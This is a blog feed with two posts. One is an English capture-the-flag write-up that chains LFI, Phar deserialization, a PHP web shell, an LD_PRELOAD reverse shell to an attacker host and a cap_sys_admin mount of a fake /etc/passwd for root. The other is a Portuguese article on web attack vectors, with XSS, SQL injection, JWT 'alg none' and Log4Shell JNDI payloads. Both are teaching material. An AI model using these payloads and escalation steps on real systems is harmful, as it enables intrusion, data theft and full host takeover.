Forem: Obtuosa

Tech Academy WriteUp

Obtuosa — Sat, 07 Feb 2026 23:21:40 +0000

Tech Academy is a platform focused in programming. It’s important to understand the flow and how we’ll analyze a opportunity to explore vulnerabilities.

1. Reconnaissance (Information Gathering)

The first step is always recon, so how I can try a fuzzing, if I don’t understand what I’m doing here?

First, the operational system is Ubuntu, web server is nginx and programming language is PHP because PHP has a standard name to session cookie: PHPSESSID and Node.js because of framework Express.

1.1. nmap

After that, it’s important to see how many doors are there and what we can do with this information about our target

nmap -Pn -sV -A IP -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0e:f5:4e:66:f4:10:d6:94:36:fd:73:26:56:61:ca:f2 (ECDSA)
|_  256 cb:00:6c:79:84:02:84:1c:b4:a0:f0:5b:c8:8d:8f:da (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: In\xC3\xADcio - Tech Academy
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 24.060 days (since Sat Jan 10 18:34:50 2026)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Basically, two ports open: 22 (SSH) and 80 (HTTP), a relatively up-to-date server.

2. DOM-based Stored XSS

The endpoint /js/auth.js has a interesting vulnerability at register function:

function updateNavigation(user) {

  if (user) {

    userMenu.innerHTML = `
      <div ...>
        ...
          <span style="font-weight: 500;">${user.name}</span>
        ...
      </div>
    `;
    navLinks.appendChild(userMenu);
  }

The updateNavigation is a bridge to a XSS because of innerHTML, . Then, the code catch user.name that come from localStorage a reply from server, and inject directly in HTML.

So I tried the classic payload when we register a name with payload XSS:

<img src=x onerror=alert(document.cookie)>

But, the XSS doesn’t take us to a real point. Then, it’s insufficient for me to go to the flags. The exploration continues.

3. Web Exploration (Server-Side)

3.1. LFI at certificated.techacademy.hc

A classic vulnerability of Path Traversal is part of our point to success. In this case, /certified endpoint accept a parameter named file and the file return important informations. Indeed, backend don’t do a good sanitization. To be specific, we can try a sequence to up the directories and file access out of uploads folders.

/var/www/certificated/app/helpers/config.php

Wow, I found Shanah user and your password… but it’s a hard lab, it’s nothing something easy to access. When I try to ingress ssh, our entry is denied because of public key.

3.2. File Upload Bypass

When I was browsing, something interesting happened when I changed my profile picture. Node.js API valid a file extension, but not the content. If I use a PHP web shell with LFI using a malicious photo?

It’s moment to create a PHP Webshell, rename for .jpg (to pass node.js) and use LFI (on PHP) to execute the .jpg with code.

3.3. Phar Deserialization

3.3.1. Script and obfuscation

To obtain a remote code execution (RCE), we need PHAR (PHP Archive) deserialization that allows an attacker to execute arbitrary code. Only LFI vulnerabilty isn’t enough, because we have upload restrictions, like Node.js middleware that block php files, but allow jpg images. Another point, it’s the wrappers from php stream like phar:// automatically deserialize file metadata when accessed by file system functions (ex: file_existis, fopen, include). Third, we identified the app\controller\Certificated class in the backend. This class acts like a Gadget, with a magic method (__destruct)that write object properties in disk.

This script below generate a malicious Phar (PHP Archive) file disguised like a image, containing a deserialize object (payload) prepared for explorer a deserialization failure on the server.

<?php
namespace app\controller {
    class Certificated {
        public $data;
        public $file;
    }
}

namespace {
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'test');
    $phar->setStub("<?php __HALT_COMPILER(); ?>");

    $payload = new \app\controller\Certificated();


    $payload->file = '/var/www/certificated/public/shell.php';


    $payload->data = '<?php eval($_GET["c"]); ?>';

    $phar->setMetadata($payload);
    $phar->stopBuffering();

    rename('exploit.phar', 'exploit.jpg');

    echo "exploit.jpg file successfully created!\n";
}

Run the script.

php -d phar.readonly=0 ./Downloads/exploit.php 
exploit.jpg file successfully create!

The Node.js server save at /var/www/main/public/uploads/profile-[numbers]-[numbers].jpg

Testing if the upload worked using LFI vulnerability that was found:

http://certificated.techacademy.hc/certified?file=phar:///var/www/main/public/uploads/profile-1770488009671-280225128.jpg/test.txt

3.4. Webshell

We access the shell.php file newly created. But, attempts to cmd=id or cmd=ls failed because the php.ini blocking system, shell_exec, etc.

Now, we need to bypass PHP disable_functions and generate a reverse shell. I’ll use LD_PRELOAD.

3.4.1. Bypass PHP disable_functions and reverse shell

First of all, disable_functions is a PHP directive in php.ini configuration file that allows system admin to disable specific functions for security reasons. For example: exec, shell_exec, system, etc. Secondly, LD_PRELOAD is used by attackers to bypass these restrictions because it allows to load a custom, malicious shared library (.so file) before standard system libraries. In this case, LD_PRELOAD’ll be used with mail() function.

First, we need to compile the code below (hack.c):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void __attribute__((constructor)) initLibrary(void) {
    unsetenv("LD_PRELOAD");

    system("/bin/bash -c '/bin/bash -i >& /dev/tcp/IP/PORT 0>&1'");
}

Compiling with gcc:

gcc -shared -fPIC hack.c -o hack.so

Now we need to send our malicious lib hack.so to victim web server. First, we’re a attacker and need to transfer our malicious file using HTTP server in our terminal.

sudo python3 -m http.server 80

Victim (via Web shell):

http://certificated.techacademy.hc/shell.php?c=copy('http://10.0.22.155/hack.so', '/tmp/hack.so');

After this, if we see our http.server, our exploit was sent to the victim server:

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.13.174 - - [07/Feb/2026 17:52:45] "GET /hack.so HTTP/1.0" 200 -

Triggering the exploit:

Our terminal:

nc -lvnp 8000

b. Victim:

http://certificated.techacademy.hc/shell.php?c=putenv('LD_PRELOAD=/tmp/hack.so'); mail('a','a','a','a');

Result: a interactive reverse shell:

4. Stabilizing shell and lateral movement

It’s important to stabilizing your shell, because any slip will kill our connection and commands like su and nano don’t work well in dumb shells.

First step: TTY Spawn

The first command that we need to write is:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Second step: Magic Stty

Now we need to enable the CTRL+C, autocomplete (Tab) and historical.

CTRL+C key combination
In our terminal, we type:

stty raw -echo; fg

When we press enter, it may seem like locked. Type reset and press Enter or xterm if appears: Terminal type?

Environment variable

To ensure that commands like clear and text editor work:

export TERM=xterm
export SHELL=bash

Now it’s time to lateral movement, remember Shanah? it’s our front door now:

su Shanah
Password:

Uou, our first flag is here in user.txt.

5. Privilege Escalation

The hard part is over when we tried to take our initial access, for privilege escalation we’ll use linux command-line getcap used to examine, list and display the file capabilities assigned to executable files.

getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/local/bin/python3_cap cap_sys_admin=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/snap/core22/2133/usr/bin/ping cap_net_raw=ep
/snap/snapd/25202/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/snap/snapd/25935/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p

The capability cap_sys_admin=ep is our door to privilege escalation

How we don’t have permission to edit /etc/passwd we use the privilege python to mount a false file on top of the real file.

5.1. Exploration script

Using Copy and paste (Heredoc)

This method use a cat command to read everything that you paste until the key word EOF

cat <<EOF > /tmp/exploit.py
import ctypes
import os

libc = ctypes.CDLL('libc.so.6')

# Define caminhos (em bytes)
source = b'/tmp/passwd_fake'
target = b'/etc/passwd'

print(" Replacing /etc/passwd...")
try:
    libc.mount(source, target, None, 4096, None)
    print("Becoming root")
    os.system("su r00t")
except Exception as e:
    print(f"[-] Erro: {e}")
EOF

Verify if /tmp/passwd_fake exist. If not, we can create a fake file (original copy + root user)

cp /etc/passwd /tmp/passwd_fake
echo 'r00t::0:0:root:/root:/bin/bash' >> /tmp/passwd_fake
 cat /tmp/passwd_fake
root:x:0:0:root:/root:/bin/bash
...
r00t::0:0:root:/root:/bin/bash

Make sure that passwd_fake was created:

$ ls -la /tmp/passwd_fake
-rw-r--r-- 1 Shanah Shanah 2073 Feb  7 22:07 /tmp/passwd_fake

Triggering the exploit:

/usr/local/bin/python3_cap /tmp/exploit.py

6. Root flag and conclusion

Congratulations to us, now we are root too.

It’s my first text in English with a lot of mistakes, but I hope someone liked it. See you later guys!

Análise de Vetores de Ataque em Arquitetura de Aplicações Web

Obtuosa — Sat, 22 Nov 2025 17:20:45 +0000

Resumo

Este texto tem como proposta uma análise aprofundada sobre a segurança de aplicações web, mas de uma perspectiva ofensiva. Através da arquitetura de três camadas (Apresentação, Aplicação e Dados), comumente conhecido como Three Tier Architecture, detalhando vetores de ataques específicos para cada camada com exemplos de código práticos. Além disso, também fornecer uma investigação de táticas, técnicas e procedimentos (TTPs) de grupos de Ameaça Persistente Avançada (APT), como o APT35, esmiuçando tecnicamente um de seus ataques com exemplos de payloads e comandos. O texto também explora a importância da análise a partir do OWASP Top 10 que lista os dez riscos de segurança mais críticos e comuns em aplicações web. O objetivo é permitir uma visão técnica e estruturada, para aspirantes, entusiastas, profissionais e pesquisadores da área de segurança da informação interessados em vulnerabilidades em aplicações web e em um ciclo de ataque a partir da Matriz do MITRE ATT&CK.

1. Introdução

A grande crescente de dependência de aplicações web para serviços críticos, tendo em vista que hoje tudo pode ser feito através do navegador tornou a segurança dessas aplicações um pilar fundamental da cibersegurança. Atacantes, desde indivíduos até mesmo grupos de Ameaça Persistente Avançada (APT), patrocinados muitas vezes por estados, exploram vulnerabilidades em aplicações web para roubo de dados, espionagem, sabotagem, etc. Compreender a estrutura das aplicações web e como os(as) atacantes a manipulam é indispensável para a construção de defesas sólidas.

Este texto tenta aplicar uma visão ofensiva para dissecar a segurança de aplicações web. Deste modo, inicia-se com a análise da arquitetura de três camadas, um modelo predominante no mercado, e como cada camada pode apresentar uma superfície de ataque única, com exemplos de código que ilustram os ataques. A referência dessa análise é o OWASP Top 10 e a partir dele, construir uma ponte entre as vulnerabilidades em uma visão teórica e os ataques do mundo real, examinando estudos de caso de grupos APT.

2. Arquitetura de Três Camadas e Vetores de Ataque

A arquitetura de três camadas é predominante em aplicações tradicionais de cliente-servidor e é dividida em três unidades lógicas: a camada de apresentação, camada de aplicação e camada de dados. Essa separação cria diferentes domínios de segurança.

2.1. Camada de Apresentação (Presentation Layer)

É a interface com o usuário no navegador, além de ser a camada de comunicação da aplicação no qual o usuário final interage. A princípio, seu objetivo é de exibir e coletar informações do usuário. Do ponto de vista de um invasor, esta camada é um alvo principal para ataques que focam o usuário.

2.1.1. Cross-Site Scripting

Cross-Site Scripting (XSS) é uma falha no sistema que possibilita o/a atacante injetar códigos maliciosos em páginas web. O OWASP classifica o XSS como uma forma de Injeção (A05:2025) e dialoga também com Configuração incorreta de segurança (A02:2025).

Hodiernamente, WAFs (Firewalls de Aplicações Web) e frameworks modernos (React, Angular, Django, etc.) já possuem mecanismos que bloqueiam XSS tradicionais (como o clássico <script>alert(1)</script>). Logo, os ataques também mudaram de lugar, muitos agora exploram contextos específicos, validação incompleta de entrada e renderização dinâmica no cliente (DOM XSS).

Imagine uma rede social onde os usuários podem editar a sua biografia, algo bastante comum em diversos ambientes online, como o X/Twitter, Facebook e Instagram. Neste ponto, é possível inserir um texto formatado, seja em negrito, com links, emojis, etc.

A partir dessa contextualização, em um cenário de rede social que usa um editor de texto, por exemplo, e salva o conteúdo HTML diretamente no banco de dados, quando esse perfil é renderizado, o HTML vem direto da base e é inserido na página, com algo assim:

<div class="bio">
  <p>Olá, me chamo Pedroca e quero fazer novas amizades😎</p>
</div>

Só que nesse processo de inspecionar o HTML e observar como o sistema lida com esse conteúdo após recebe-lo, principalmente sobre como o valor do campo é armazenado e renderizado depois no site, o/a atacante percebe que o campo aceita algumas tags HTML. Ele/Ela tenta inserir um conteúdo aparentemente inofensivo, mas com comportamento malicioso.

O/A invasor(a) insere na biografia:

<p>Olá, me chamo Pedroca e quero fazer novas amizades😎</p>
<img src="https://pedrocanews.com/imagem.png" onmouseover="alert('XSS by Pedroca')" />

E nesse contexto, nem sempre as WAFs conseguem ser acionadas, porque não usa a tag <script> diretamente, além de parecer legítimo, porque é uma tag comum e a execução acaba dependendo de um evento do DOM (Modelo de Objeto de Documento) e quando outro usuário passa o mouse sobre a imagem, o Javascript é executado, com isso ocorre uma execução arbitrária dentro do domínio do site.

2.2. Camada de Aplicação

A camada de aplicação é basicamente a parte central, pois processa a lógica de negócios. É talvez o alvo mais almejado e rico para intrusos(as) que buscam comprometer a funcionalidade principal, além de também incluir, excluir ou modificar informações da camada de dados.

2.2.1. Injeção de SQL (SQLi)

A injeção de SQL ocorre quando um adversário insere uma consulta SQL maliciosa. É uma das vulnerabilidades mais perigosas, categorizada como Quebra de controle de acesso (A01:2025), Configuração incorreta de segurança (A02:2025) e Injeção (A05:2025) pelo OWASP, no entanto, muitas aplicações não montam mais queries SQL “na mão”. Hoje, usam ORMS (Object-Relational Mappers) que criam uma ponte entre o banco de dados e uma aplicação orientada a objetos. Por consequência, o SQLi não é mais só concatenar string, porque por padrão, usam consultas parametrizadas (prepared statements), que separam os dados da lógica da consulta, tornando a injeção mais “tradicional” quase impossível.

Em um cenário prático, onde supostamente uma API de busca está vulnerável, a mesma aceita parâmetros de entrada do usuário e os passa diretamente para um ORM sem qualquer validação adequada permitindo que os invasores manipulem consultas ao banco de dados. Portanto, ocorre uma injeção via ORM.

O Back end expõe o endpoint:

GET /api/users?sort_by=name&order=asc

O desenvolvedor escreve o código, que está em Node.js com Sequelize:

const sortBy = req.query.sort_by; 
const order = req.query.order;   

User.findAll({
  order: [[sortBy, order]]
});

Em uma primeira análise, aparenta ser seguro, tendo em vista que o ORM “escapa” parâmetros. mas o problema é que não escapa identificadores (colunas), e como o sortBy vai direto para query, o intruso(a) controla parte da estrutura SQL e então o atacante envia:

GET /api/users?sort_by=name);DROP TABLE users;--

A query interna se transforma em algo parecido com:

SELECT * FROM users ORDER BY name);DROP TABLE users;--

Ou seja, se o ORM não sanitiza adequadamente os nomes de coluna, essa instrução extra pode ser interpretada, e mesmo com WAFs, esse tipo de ataque pode acabar passando, pois o payload não contém palavras-chave simples como ‘ OR 1=1; , além de ser possível também codificar essas requisições.

2.2.2. Quebra de Autenticação

Quebra de autenticação são falhas que permitem a atacantes comprometerem contas de usuários e interage com Quebra de controle de acesso (A01:2025), Configuração incorreta de segurança (A02:2025) e Falhas de autenticação (A07:2025) do OWASP.

Outro ponto importante é que se utiliza muito os tokens para autenticação via API, no lugar de cookies e sessões, como por exemplo o JWT (JSON Web Token) e apesar do uso de tokens, algumas novas formas de falhas surgiram em virtude do mau uso deles.

Imagine uma aplicação que gera tokens JWT mal configurados:

const jwt = require('jsonwebtoken');
const token = jwt.sign({ user: username, role: 'user' }, 'chave-secreta');

e valida dessa forma:

jwt.verify(token, 'chave-secreta');

Neste ponto, o Back end acaba aceitando tokens sem checar o algoritmo usado e em uma exploração, onde um invasor cria um token com o algoritmo “none”, acaba forçando o servidor a não verificar assinatura:

{
  "alg": "none",
  "typ": "JWT"
}

Payload:

{
  "user": "pedroca",
  "role": "admin"
}

Como resultado, o back end confia no token mascarado, concedendo acesso administrativo. Apesar da falha “alg: none” ser antiga, alguns sistemas ainda são vulneráveis, principalmente por usar serviços intermediários (API Gateways, proxies) que só verificam formato e não a assinatura.

2.3. Camada de Dados (Data Layer)

A camada de dados é a camada na qual as informações processadas pela aplicação são armazenadas e gerenciadas. A aplicação basicamente persiste, busca e processa as informações cŕiticas. Quando por exemplo, a camada de aplicação é vulnerável a Injeção SQL, um atacante pode acabar usando dessa falha para exfiltrar dados diretamente do banco.

2.3.1 Exfiltração de Dados via SQLi

Exfiltração de dados via SQLi é quando um atacante pode usar da vulnerabilidade de injeção SQL para retirar dados diretamente do banco de dados. Pode ser categorizada nas mesmas dinâmicas da Injeção de SQL quanto ao OWASP, já que nasce a partir dela.

Em uma aplicação de e-commerce com um determinado endpoint de busca:

GET /api/products?category=iphone

O back end executa uma query dessa forma:

SELECT name, price FROM products WHERE category = 'iphone';

A pessoa que está desenvolvendo confia plenamente no parâmetro category e apenas insere ele na query, mas um atacante consegue perceber isso e começa a explorar, ainda que tenha que passar pelos WAFs e logs que filtram strings simples como ‘ OR 1=1 ou UNION SELECT .

O atacante insere a clássica aspas simples:

/api/products?category=iphone'

O back end acaba retornando erro de SQL e cria brechas para a exploração. Uma das diversas técnicas é a injeção UNION-Based.

' UNION SELECT username, email FROM users--

Essa query faz com que o sistema combine os resultados da tabela users com os da tabela products. O servidor caso seja possível burlar as camadas de segurança retorna algo como:

[
  {"name": "pedroca", "price": "pedroca@example.com"},
  {"name": "admin", "price": "admin@example.com"}
]

Esse tipo de ataque funciona porque o banco de dados acaba sendo compartilhado entre diferentes áreas da aplicação, e a query é montada de forma concatenada, sem uso de parâmetros. Hoje WAFs detectam UNION SELECT literal, então os invasores tentam disfarçar a consulta de alguma forma, seja com encoding, comentários in-line, etc.

3. Ameaças Persistente Avançadas (APTs)

Uma Ameaça Persistente Avançada (APT) é um tipo de ataque mais sofisticado e longo, no qual um agente de ameaça, geralmente um estado-nação ou um grupo que seja patrocinado por ele, realiza ataques que obtém acesso não autorizado, sendo as aplicações web vetores de entrada bastante comuns e permanecem indetectado por um longo período. O objetivo principal dessas ações, é justamente roubo de dados sensíveis, espionagem, sabotagem de sistemas, etc.

O termo “APT” é definido através de três características fundamentais:

Avançada (Advanced): Os invasores utilizam de um leque completo de ferramentas e técnicas, que podem incluir desde exploração de vulnerabilidades zero day, engenharia social muito bem direcionada **e **malwares bem objetivos.
Persistente (Persistent): Neste ponto o invasor consegue manter um canal de comando e controle (Command and Control - C2) contínuo com um dos ou o sistema comprometido, garantindo o acesso, mesmo depois de uma possível detecção e remoção, por exemplo de um malware. É possível também muitas vezes, a depender do escopo dos objetivos traçados, que acabe retornando novamente ao sistema.
Ameaça (Threat): Esse ataque é orquestrado por grupos de agente de ameaça, organizado e motivado, com recursos significativos e objetivos muito bem definidos, como governos, grandes corporações ou infraestruturas críticas.

3.1. Grupos de APT e suas táticas

Os Grupos de APT são categorizados por agências de inteligência e empresas de segurança cibernética, muitas vezes recebem nomes a partir de taxonomia e identificadores alfanuméricos, como no caso do framework MITRE ATT&CK, que é uma referência essencial para compreender as táticas e técnicas usadas por esses grupos.

3.1.1 Táticas, Técnicas e Procedimentos (TTPs) de APTs

As Táticas, Técnicas e Procedimentos (TTPs) representam a forma de agir de um APT, detalhando desde o “por quê”, “como” e o “o quê” de suas ações. O ciclo de vida de um ataque APT é normalmente dividido em fases, e o framework MITRE ATT&CK fornece a taxonomia mais aceita atualmente para descrever as TTPs em cada fase.

3.1.2. O Ciclo de Vida do Ataque e o MITRE ATT&CK

O ciclo de vida de um ataque APT é um processo multifacetado e contínuo, que se relaciona diretamente com as Táticas do MITRE ATT&CK. Essas táticas representam o objetivo do adversário/a em cada estágio do ataque.

Reconhecimento - Reconnaissance (TA0043): O invasor reúne informações que podem ser usadas para planejar operações futuras, coletando ativa ou passivamente informações que podem ser usadas para apoiar a definição de alvos.
Desenvolvimento de Recursos - Resource Development (TA0042): O invasor tenta estabelecer recursos que podem ser usados para apoiar as operações, seja criando, comprando ou comprometendo/roubando recursos que podem ser usados para apoiar o direcionamento. Esses recursos incluem infraestrutura , contas ou recursos.
Acesso Inicial - Initial Access (TA0001): Consiste em técnicas que utilizam vários vetores de entrada para obter um acesso inicial dentro de uma rede.
Evasão de Defesa - Defense Evasion (TA0005): Os atacantes usam técnicas para evitar a detecção durante todo o processo de comprometimento.
Descoberta - Discovery (TA0007) - O atacante tenta obter o máximo de conhecimento possível sobre o sistema e a rede interna.
Execução - Execution (TA0002): Consiste em técnicas que resultam na execução de código controlado pelo adversário em um sistema local ou remoto.
Escalação de Privilégios - Privilege Escalation (TA0004): As técnicas consistem em tentar obter permissões maiores em um sistema ou rede, como um root por exemplo.
Persistência - Persistence (TA0003): Os adversários utilizam técnicas para manter o acesso aos sistemas após reinicializações, alterações de credenciais e outras formas de interrupções que poderiam cortar o seu acesso.
Movimento Lateral - Lateral Movement (TA0008): O adversário tenta ampliar seu campo de ataque e atingir mais sistemas em uma rede.
Comando e controle - Command and Control C2 (TA0011): O atacante tenta se comunicar com sistemas comprometidos para controlá-los.
Exfiltração - Exfiltration (TA0010): Os adversários se utilizam de técnicas para roubar dados da rede invadida.
Impacto - Impact (TA0040): O adversário tenta manipular, interromper ou destruir os sistemas e dados de um alvo. O impacto consiste em utilizar técnicas que possam interromper a disponibilidade ou comprometer a integridade, manipulando processos comerciais e operacionais.

3.1.3. Técnicas e Procedimentos

As Técnicas no MITRE ATT&CK descrevem “como” o adversário atinge um objetivo tático ( o “ por que”).

Os Procedimentos são a forma como um grupo APT aplica uma técnica*.* Por exemplo, o grupo APT35 implementa a técnica Explorar aplicativos voltados para o público - Exploit Public-Facing Application (T1190) utilizando de forma específica a exploração da vulnerabilidade CVE 2021-44228 (Log4Shell) em aplicações web que usam Java.

A sofisticação de um APT reside em sua capacidade de encadear diversas técnicas (Ts) e procedimentos (Ps) de forma bem coordenada e adaptativa, assim garante que o ataque persista e atinja o objetivo final, que é a Exfiltração ou Impacto (como sabotagem).

3.2. Aplicações Web como Vetor de Entrada Comum

Conforme foi dito no decorrer do texto, as aplicações web representam um vetor de entrada bastante comum e crítico para os grupos de APT. Na matriz do MITRE essa tática é classificada como T1190: Explorar aplicativos voltados para o público (Exploit Public-Facing Application), dito mais acima.

“Os adversários podem tentar explorar uma vulnerabilidade em um host ou sistema voltado para a Internet para acessar inicialmente uma rede. A vulnerabilidade no sistema pode ser um bug de software, uma falha temporária ou uma configuração incorreta.

Os aplicativos explorados geralmente são sites/servidores da web, mas podem também incluir banco de dados (como SQL), serviços padrões (SMB ou SSH), protocolos de administração e gerenciamento de dispositivos de rede (SNMP e Smart Install) e qualquer outro sistema com soquetes abertos acessíveis pela Internet.

MITRE ATT&CK- Technique T1190

A exploração de aplicações web e servidores para o público é um método preferencial para obter o Acesso Inicial, pois permite que os atacantes possam contornar as defesas tradicionais. As vulnerabilidades mais exploradas por APTs em aplicações web incluem algumas das já destacadas anteriormente pelo OWASP Top 10, justamente por mapear as fragilidades mais comuns na atualidade.

4. Log4Shell (CVE 2021-44228)

O APT35 também conhecido como Charming Kitten, Magic Hound e Phosphorus, é um grupo de ameaças cibernéticas patrocinado pelo Irã que conduz operações de espionagem cibernética de longo prazo. Eles tem como alvo funcionários governamentais e militares europeus, norte-americanos e do Oriente Médio, acadêmicos, jornalistas e organizações como a Organização Mundial da Saúde (OMS).

As operações do APT35 são comumente caracterizadas por campanhas de engenharia social sofisticadas e suas atividades são rastreadas desde 2014.

Atributo do APT	Detalhe
ID	G0059
Nome	Magic Hound (APT35, Charming Kitten, Phosphorus)
Origem Atribuída	Irã
Alvos comuns	Governo, militares, acadêmicos, jornalistas e organizações de saúde no Oriente Médio, Europa e EUA.
Tática Primária	Campanhas de engenharia social complexas.
Ferramentas Notáveis	PowerShell, webshells, e ferramentas de compressão como RAR e gzip. Além do uso de malwares como o backdoor PowerLess.

4.1. Log4Shell

O Log4Shell (CVE 2021-44228) é uma vulnerabilidade zero day que foi reportada em novembro de 2021, que possibilita a execução de código remoto (RCE) em algumas versões da biblioteca de logging Apache Log4j 2.x de 2.0-beta9 até 2.14.1 e afeta diretamente a Camada de Aplicação de diversas apps da web que são baseados em Java.

Este estudo de caso detalha tecnicamente essa exploração do Log4Shell, focando principalmente em como um input em uma aplicação web pode se transformar em um RCE, e mapeando os ataques com base no OWASP Top 10.

Um ponto importante é que o Log4Shell é um ataque que se manifesta na Camada de Aplicação na arquitetura de três camadas, mas é iniciado através da Camada de Apresentação.

4.1.1. O papel da Arquitetura de Aplicações Web e o OWASP

O Log4Shell é um ataque de injeção de dados que se propaga através das camadas:

Camada da Arquitetura	Componente comum	CVE Relacionada	Relação com o Ataque
Apresentação	Formulários Web, Cabeçalhos HTTP	CVE-2021-44228	O atacante injeta o payload JNDI/LDAP em campos de entrada ou cabeçalhos HTTP ( `User-Agent`), que são processados pela Camada de Aplicação.
Lógica de Negócio (Aplicação)	Servidor de Aplicação Java (Tomcat, JBoss)	CVE-2021-44228	A vulnerabilidade reside na biblioteca Log4j 2.x, que é parte da Camada de Lógica. O payload é interpretado, resultando em RCE.
Dados	Banco de Dados (PostgreSQL, MySQL)	(Acesso Indireto)	O RCE obtido na Camada de Aplicação permite o acesso e a manipulação de dados sensíveis, ameaçando a integridade e disponibilidade da camada de dados.

Ademais, também se enquadra primariamente na categoria A05:2025 - Injection do OWASP Top 10:2025, pois o ataque é uma forma de injeção onde o atacante injeta uma string maliciosa (${jndi:ldap://...}) que é interpretada pelo logger como um comando, assim acaba sabotando o fluxo de execução do programa.

4.2. Detalhes do ataque

Source: Check Point Research

O Log4Shell explora a funcionalidade de lookups da Log4j, especificamente a capacidade de realizar consultas via JNDI (Java Naming and Directory Interface).

logger.info("Requisição de: " + userAgent);

O logger é responsável por registrar mensagens de log, enquanto o método info grava uma mensagem de nível informativo.

User-Agent: ${jndi:ldap://pedroca.com/payload}

A sintaxe de lookup do Log4j permite substituições dinâmicas, como no exemplo ${env:USERNAME}, que é substituído pelo valor da variável de ambiente USERNAME do sistema operacional.

Entretanto, nas versões do Log4j 2.0 até 2.14.1, também eram permitidos lookups via JNDI (Java Naming and Directory Interface), uma API do Java usada para consultar serviços de diretório em servidores externos, como LDAP (Lightweight Directory Access Protocol) ou RMI (Remote Method Invocation).

Esse recurso acabou sendo explorado por atacantes para carregar e executar código malicioso remotamente.

A exploração do Log4 Shell é um processo de quatro etapas que transforma um simples string de entrada em RCE.

4.2.1. 1º Etapa: Injeção do Payload (Camada de Apresentação)**

O atacante injeta o payload JNDI em qualquer campo de entrada que possa ser logado pela aplicação. E o vetor mais comum é o cabeçalho User-Agent de uma requisição HTTP.

Payload JNDI/LDAP:

${jndi:ldap://[IP.DO.INVASOR]:PORTA/[CLASSE.MALICIOSA]}

4.2.2. 2º Etapa: Interpretação e Consulta JNDI (Camada de Aplicação)**

A aplicação web recebe a requisição HTTP, o servidor de aplicação processa essa requisição e, em determinado momento, o Log4j registra a entrada (User-Agent), consequentemente encontra a string ${PEDROCA} e a interpreta como um lookup e e por fim o lookup JNDI é resolvido, forçando o servidor Java a iniciar a conexão com o servidor LDAP controlado pelo(a) atacante ([IP.DO.INVASOR]:Porta ).

4.2.3. 3º Etapa: Resposta do Servidor LDAP e Deserialização**

O servidor LDAP do/a atacante responde com uma referência a classe Java maliciosa ([CLASSE.MALICIOSA] ) e URL para download do arquivo .class( via HTTP), assim o cliente JNDI no servidor vulnerável (lá da Camada de aplicação) segue a referência e baixa o arquivo .class suspeito, fazendo o próprio servidor Java deserializar e executar o código da classe suspeita, resultando em uma execução remota de código (RCE).

4.2.4. 4º Etapa: Um exemplo de Classe Maliciosa (Payload de RCE)**

A classe suspeita é estruturada para executar um comando do sistema operacional no momento da sua inicialização.

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("payload de rce");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

O bloco static {} em java é executado automaticamente quando a classe é carregada e assim torna o ataque viável, pois o Log4j faz o lookup e carrega a classe.

5. Mapeamento MITRE ATT&CK

Tática	ID da Tática	Técnica	ID da Técnica	Descrição do Uso no Log4Shell
Initial Access	TA0001	Exploit Public-Facing Application	T1190	Injeção do payload JNDI/LDAP através de uma entrada de aplicação web.
Execution	TA0002	Command and Scripting Interpreter	T1059	Execução de comandos via shell reverso ou comandos do sistema operacional injetados na classe suspeita.
Defense Evasion	TA0005	Obfuscated Files or Information	T1027	Uso de lookups aninhados ou ofuscação no payload JNDI para evitar detecção.

6. Conclusão

A segurança de aplicações web exige uma abordagem em maior profundidade que considere os vetores de ataque em cada camada de sua arquitetura. A análise das táticas de grupos de APT como o APT35 mostra a exploração de forma mais ampla sobre as vulnerabilidades, sendo o ataque Log4Shell um exemplo de como uma falha na Camada de Aplicação (OWASP A05: Injection) pode levar a um RCE de impacto muito alto. Sua exploração a partir da entrada de um simples string em uma aplicação web, mostra a necessidade e importância de validação de entrada e de uma postura de segurança mais sólida em todas as camadas de arquitetura.

7. Referências

Check Point. APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Disponível em: [https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/]

CISA. Apache Log4j Vulnerability Guidance. Disponível em: [https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance]

MITRE ATT&CK. Group: Charming Kitten (G0067). Disponível em: [https://attack.mitre.org/groups/G0059/]

MITRE ATT&CK. Enterprise ATT&CK Matrix. Disponível em: [https://attack.mitre.org/matrices/enterprise/]

NVD. CVE-2021-44228 Detail. Disponível em: [https://nvd.nist.gov/vuln/detail/cve-2021-44228]

OWASP. (2025). OWASP Top 10:2025. Disponível em: [https://owasp.org/Top10/]

Unit 42. Apache log4j Vulnerability CVE-2021-44228.
Disponível em: [https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/]

Teste Específico de Estágio Tempest 2025.2 - Consultoria Técnica (Write Up)

Obtuosa — Mon, 25 Aug 2025 13:40:36 +0000

